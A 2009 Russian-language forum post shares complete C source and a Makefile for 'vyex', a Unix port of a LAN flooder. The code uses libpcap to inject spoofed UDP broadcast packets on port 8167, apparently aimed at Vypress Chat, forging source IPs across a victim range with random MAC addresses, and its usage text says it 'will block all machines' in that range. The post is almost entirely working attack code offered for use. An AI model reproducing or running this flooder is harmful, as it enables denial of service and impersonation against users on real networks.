Флудер vyex for Unix.

Discussion in 'Песочница' started by hdkeeper, 2 May 2009.

  1. hdkeeper

    hdkeeper New Member

    Joined:
    7 Apr 2009
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Флудер vyex, адаптированный для запуска на юникс-системах. Требует libpcap. Сборка проверялась на FreeBSD 7.1 и Debian Linux Etch.

    Makefile
    Code:
    vyex: vyex.c
    	gcc -lpcap vyex.c -o vyex
    
    vyex.c
    Code:
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <string.h> 
    #include <stdlib.h> 
    #include <stdio.h> 
    #include <unistd.h> 
    #include <signal.h>
    #include <time.h> 
    #include <pcap.h>
    
    #define DWORD	unsigned long
    
    #define LENHDRETH 14 
    #define LENHDRIP 20 
    #define LENHDRUDP 8 
    
    #ifndef IP_HDRINCL
    #define IP_HDRINCL      2 /* header is included with data */
    #endif
    
    typedef struct eth_hdr_struct
    {
        unsigned char dst[6];
        unsigned char src[6];
        unsigned short ftype;
    } eth_hdr;
    
    typedef struct ip_header_struct
    { 
    	unsigned char      version; 
    	unsigned char      tos; 
    	unsigned short int length; 
    	unsigned short int id; 
    	unsigned short int fragoff; 
    	unsigned char      ttl; 
    	unsigned char      protocol; 
    	unsigned short int checksum; 
    	unsigned long  int src; 
    	unsigned long  int dest; 
    } ip_header;
    
    typedef struct udp_header_struct
    { 
    	unsigned short int sport; 
    	unsigned short int dport; 
    	unsigned short int length; 
    	unsigned short int checksum; 
    } udp_header;
    
    #define VYPORT 8167 
    
    int msglen = 21;
    //int sock; 
    struct sockaddr_in remote_addr; 
    unsigned char *msg; 
    unsigned char *packet; 
    unsigned long src,dst; 
    int lenippacket; 
    int interval; 
    pcap_t *adhandle;
    char errbuf[PCAP_ERRBUF_SIZE]={0};
    
    unsigned short ip_checksum(unsigned short *buffer, int size)
    {
        unsigned long cksum=0;
        while (size > 1){cksum += *buffer++;size  -= sizeof(unsigned short);   }
        if (size)cksum += *(unsigned char*)buffer;   
        cksum = (cksum >> 16) + (cksum & 0xffff);
        cksum += (cksum >>16); 
        return (unsigned short)(~cksum); 
    }
    
    unsigned short udp_checksum( DWORD src_ip, DWORD dst_ip, udp_header *udp)
    {
    	unsigned long sum = 0;
    
    	unsigned short len = udp->length;
    	sum += src_ip >> 16;
    	sum += src_ip & 0xffff;
    	sum += dst_ip >> 16;
    	sum += dst_ip & 0xffff;
    	sum += IPPROTO_UDP << 8;
    	sum += len;
    	
    	len = ntohs(len);
    	unsigned short *s = (unsigned short *)udp;
    	while (len > 1) 
    	{
    		sum += *s;
    		s++;
    		len -= 2;
    	}
    	if (len)
    		sum += *(unsigned char *)s;
    
    	sum  = (sum & 0xffff) + (sum >> 16);
    	sum  = (sum & 0xffff) + (sum >> 16);
    	
    	return (unsigned short)(~sum);
    }
    
    
    unsigned char src_mac[6];// = {rand()%256,rand()%256,rand()%256,rand()%256,rand()%256,rand()%256};
    
    int conn() 
    { 
    	eth_hdr *ethh = (eth_hdr *) packet;
    	ip_header *iph = (ip_header*) (packet+LENHDRETH);
    	udp_header *udph = (udp_header*) (packet+LENHDRETH+LENHDRIP); 
    
        memset(ethh->dst,0xff,6);
    	memcpy(ethh->src,src_mac,6);
    	ethh->ftype = 0x0008;
    
    	memset(iph,0,LENHDRIP);
    	memset(udph,0,LENHDRUDP);
    
    	iph->version=0x45; 
    	iph->length=htons(lenippacket); 
    	iph->id=htons(VYPORT); 
    	iph->ttl=0xff; 
    	iph->protocol=IPPROTO_UDP; 
    	iph->src=src; 
    	iph->dest=dst; 
    	iph->checksum=0;	
    
    	udph->sport=htons(VYPORT); 
    	udph->dport=htons(VYPORT); 
    	udph->length=htons(lenippacket-LENHDRIP); 
    	udph->checksum=0; 
    	
    	iph->checksum = ip_checksum( (unsigned short *) iph, sizeof(ip_header));
    	udph->checksum = udp_checksum( src, dst, udph);//!!!
    
    	return 0; 
    } 
    
    int send_() 
    { 
    	if (pcap_inject( adhandle, packet, sizeof(eth_hdr)+lenippacket) == -1) {
    		fprintf( stderr, "Error sending the packet: '%s'\n", pcap_geterr(adhandle));
    		return -1;
    	}
    	return 0;
    } 
    
    void usage() 
    { 
    	printf("USAGE:    vyex ether_iface victims_ip_start victims_ip_end dest_ip [interval] [channel] [timeout]\n"); 
    	printf("EXAMPLE1: vyex eth0 192.168.197.100 192.168.197.200 192.168.197.255\n"); 
    	printf("EXAMPLE2: vyex eth0 192.168.197.100 192.168.197.200 255.255.255.255\n"); 
    	printf("Will block all machines with IPs 192.168.197.100..192.168.197.200 on subnet 192.168.197.255 with default interval=100 msec and channel=#Main\n"); 
    	printf("Note that sometimes broadcast 255.255.255.255 is works, but sometimes you should specify your subnet's broadcast address as destination\n"); 
    	printf("vyex -l will list all existing interfaces\n\n"); 
    	printf("vyex based on Vcban by beef. Have phun! beef7@yandex.ru\n");
    	printf("Unix port by Keeper - nd_keeper@mail.ru\n");
    } 
    
    void check_priv() {
    	if (geteuid() != 0) {
    		printf( "You should have root priviledges.\n");
    		exit(2);
    	}
    }
    
    void devlist()
    {
    	pcap_if_t *alldevs, *dev;
    	char errbuf[PCAP_ERRBUF_SIZE];
    	
    	check_priv();
    	if (pcap_findalldevs( &alldevs, errbuf) != 0) {
    		fprintf( stderr, "pcap_findalldevs(): %s\n", errbuf); 
    		return;
    	}
    	printf( "%8s  %-15s\n", "iface", "IP-address");
    	for (dev = alldevs; dev != NULL; dev = dev->next) {
    		pcap_addr_t *addr;
    		char *ip_addr = "NONE";
    		for (addr = dev->addresses; addr != NULL; addr = addr->next) {
    			struct sockaddr *dev_addr = addr->addr;
    			if ((dev_addr != NULL) && (dev_addr->sa_family == PF_INET)) {
    				ip_addr = (char*) inet_ntoa( ((struct sockaddr_in *) dev_addr)->sin_addr);
    				break;
    			}
    		}
    		printf( "%8s  %-15s\n", dev->name, ip_addr);
    	}
    	pcap_freealldevs( alldevs);
    }
    
    void sig_exit( int signal) {
    	printf( "\nvyex terminated.\n");
    	exit(0);
    }
    
    
    int main( int argc, char **argv) 
    { 
    	printf("\nvyex started...\n"); 
    	if ((argc == 2) && (strcmp( argv[1], "-l") == 0)) {
    		printf( "Dumping local interfaces...\n");
    		devlist();
    		return 0;
    	}
    	char chan[256]={0};
    
    	if (argc<5) {
    		usage();
    		return 0;
    	}
    	
    	if (argc>5) {
    		interval=atoi(argv[5]);
    	} else {
    		interval=100;
    	}
    	printf( "Interval set to %d milliseconds...\n",interval);
    
    	if (argc>6) {
    		strncpy(chan,argv[6],255);
    	} else {
    		strcpy(chan,"#Main");		
    	}
    	int chanlen = strlen(chan);
    	printf( "Channel set to %s...\n",chan);
    	
    	if (argc>7) {
    		int timeout = atoi( argv[7]);
    		signal( SIGALRM, &sig_exit);
    		alarm( timeout);
    		printf( "Timeout set to %d seconds...\n", timeout);
    	}
    	
    	check_priv();
    	adhandle = pcap_open_live( argv[1], 65536, 0, 1000, errbuf);
    	if (adhandle == NULL) {
    		fprintf( stderr, "pcap_open_live(): %s\n", errbuf);
    		return 1;
    	}
    	//pcap_setbuff (adhandle, 1024*1024);
    
    	msglen = 16+chanlen;
    	lenippacket=LENHDRIP+LENHDRUDP+msglen; 
    
    	srand(time(NULL)); 
    	packet = (unsigned char *) malloc(LENHDRETH+lenippacket); 
    	DWORD src_first = inet_addr(argv[2]); //aton
    	DWORD src_last  = inet_addr(argv[3]); //aton
    	dst = inet_addr(argv[4]); //aton
    	src_mac[0] = 1+(rand()%0xfe);
    	src_mac[1] = 1+(rand()%0xfe);
    	src_mac[2] = 1+(rand()%0xfe);
    	src_mac[3] = 1+(rand()%0xfe);
    	src_mac[4] = 1+(rand()%0xfe);
    	src_mac[5] = 1+(rand()%0xfe);
    	
    	while (1) 
    	{  
    		printf("SENDING");
    		fflush( stdout);
    		for (src = src_first;;)
    		{
    			memset(packet, 0, lenippacket); 
    			msg=packet+LENHDRETH+LENHDRIP+LENHDRUDP; 
    			msg[0]='X'; 
    			int x; 
    			for(x=1;x!=10;x++)msg[x]=0x30+rand()%10; 
    			msg[10]='2'; 
    			
    			strcpy((char*)msg+11,chan);//"#Main"); 
    			memcpy(msg+11+chanlen,"\0/\0!\0",5);
    			/*msg[11+chanlen]='\0'; 
    			msg[11+chanlen+1]='/'; 
    			msg[11+chanlen+2]='\0'; 
    			msg[11+chanlen+3]='!'; 
    			msg[11+chanlen+4]='\0'; */
    			
    			struct in_addr in;
    			in.s_addr = src;
    			printf(".");
    			fflush( stdout);
    			if (conn()  == -1) return -1; 
    			if (send_() == -1) return -2;
    			if (src==src_last) break;
    			src = htonl(ntohl(src)+1);
    			usleep( interval*1000); 
    		}
    		printf("Cycle OK!\n"); 
    		//
    	} 
    	return 0;
    }